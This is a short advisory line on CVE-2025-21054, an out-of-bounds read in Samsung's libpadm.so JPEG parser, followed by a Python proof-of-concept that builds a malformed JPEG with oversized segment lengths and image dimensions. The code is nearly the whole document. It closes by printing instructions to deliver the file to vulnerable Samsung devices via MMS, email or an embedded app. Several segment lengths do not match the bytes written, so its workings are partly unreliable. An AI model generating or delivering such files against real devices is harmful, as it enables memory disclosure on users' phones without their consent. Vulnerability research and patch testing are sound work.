Out-of-bounds read in the parsing header for JPEG decoding in libpadm.so prior to SMR Oct-2025 Release 1 allows local attackers to potentially access out-of-bounds memory.
The following code is for security research and authorized testing only.
python
# CVE-2025-21054 PoC - Malformed JPEG Header for OOB Read in libpadm.so
# This PoC generates a crafted JPEG file with an invalid header segment length
# to trigger an out-of-bounds read in Samsung's libpadm.so JPEG decoder.
import struct
import sys
def generate_malformed_jpeg(output_path):
"""
Generate a malformed JPEG file that triggers CVE-2025-21054.
The vulnerability is in the JPEG header parsing logic of libpadm.so,
where insufficient bounds checking on segment lengths can lead to
out-of-bounds memory reads.
"""
data = bytearray()
# SOI (Start of Image) marker
data += b'\xFF\xD8'
# APP0 (JFIF marker) - normally contains JFIF identifier and version
# Craft an APP0 segment with an abnormally large length value
# This will cause the parser to read beyond the allocated buffer
app0_length = 0xFFFF # Exaggerated length to trigger OOB read
data += b'\xFF\xE0'
data += struct.pack('>H', app0_length)
# Partial data - parser will try to read app0_length bytes beyond this
data += b'JFIF\x00' # JFIF identifier
data += b'\x01\x01' # Version 1.1
data += b'\x00' # Aspect ratio units
data += b'\x00\x01' # X density
data += b'\x00\x01' # Y density
data += b'\x00\x00' # Thumbnail dimensions
# DQT (Define Quantization Table) with invalid table length
data += b'\xFF\xDB'
# Crafted DQT with length that exceeds actual data
data += struct.pack('>H', 0x00FF) # Length field
data += b'\x00' # Table ID and precision
# Only provide partial quantization values - parser reads beyond
data += b'\x10' * 32 # Partial quantization values
# SOF0 (Start of Frame) with manipulated image dimensions
data += b'\xFF\xC0'
data += struct.pack('>H', 11) # Length
data += b'\x08' # Precision (8 bits)
# Set abnormally large image dimensions to cause OOB read
data += struct.pack('>H', 0x7FFF) # Height (max signed short)
data += struct.pack('>H', 0x7FFF) # Width (max signed short)
data += b'\x03' # Number of components
data += b'\x01\x22\x00' # Component 1
data += b'\x02\x11\x01' # Component 2
data += b'\x03\x11\x01' # Component 3
# DHT (Define Huffman Table) - minimal
data += b'\xFF\xC4'
data += struct.pack('>H', 19) # Length
data += b'\x00' # Table class and ID
data += b'\x00' * 16 # Number of codes of each length
data += b'\x01' # One symbol
# SOS (Start of Scan) marker
data += b'\xFF\xDA'
data += struct.pack('>H', 8) # Length
data += b'\x03' # Number of components
data += b'\x01\x00' # Component 1 selector
data += b'\x02\x11' # Component 2 selector
data += b'\x03\x11' # Component 3 selector
data += b'\x00\x3F\x00' # Spectral selection and approximation
# Minimal scan data - truncated to trigger incomplete parsing
data += b'\x00' * 16
# EOI (End of Image) marker
data += b'\xFF\xD9'
with open(output_path, 'wb') as f:
f.write(data)
print(f"[+] Malformed JPEG generated: {output_path}")
print(f"[+] File size: {len(data)} bytes")
print(f"[+] This file targets CVE-2025-21054 in Samsung libpadm.so")
print(f"[+] Send this file to a vulnerable Samsung device via MMS, email,")
print(f" or embed in an app to trigger the OOB read vulnerability.")
if __name__ == "__main__":
output = sys.argv[1] if len(sys.argv) > 1 else "cve_2025_21054_poc.jpg"
generate_malformed_jpeg(output)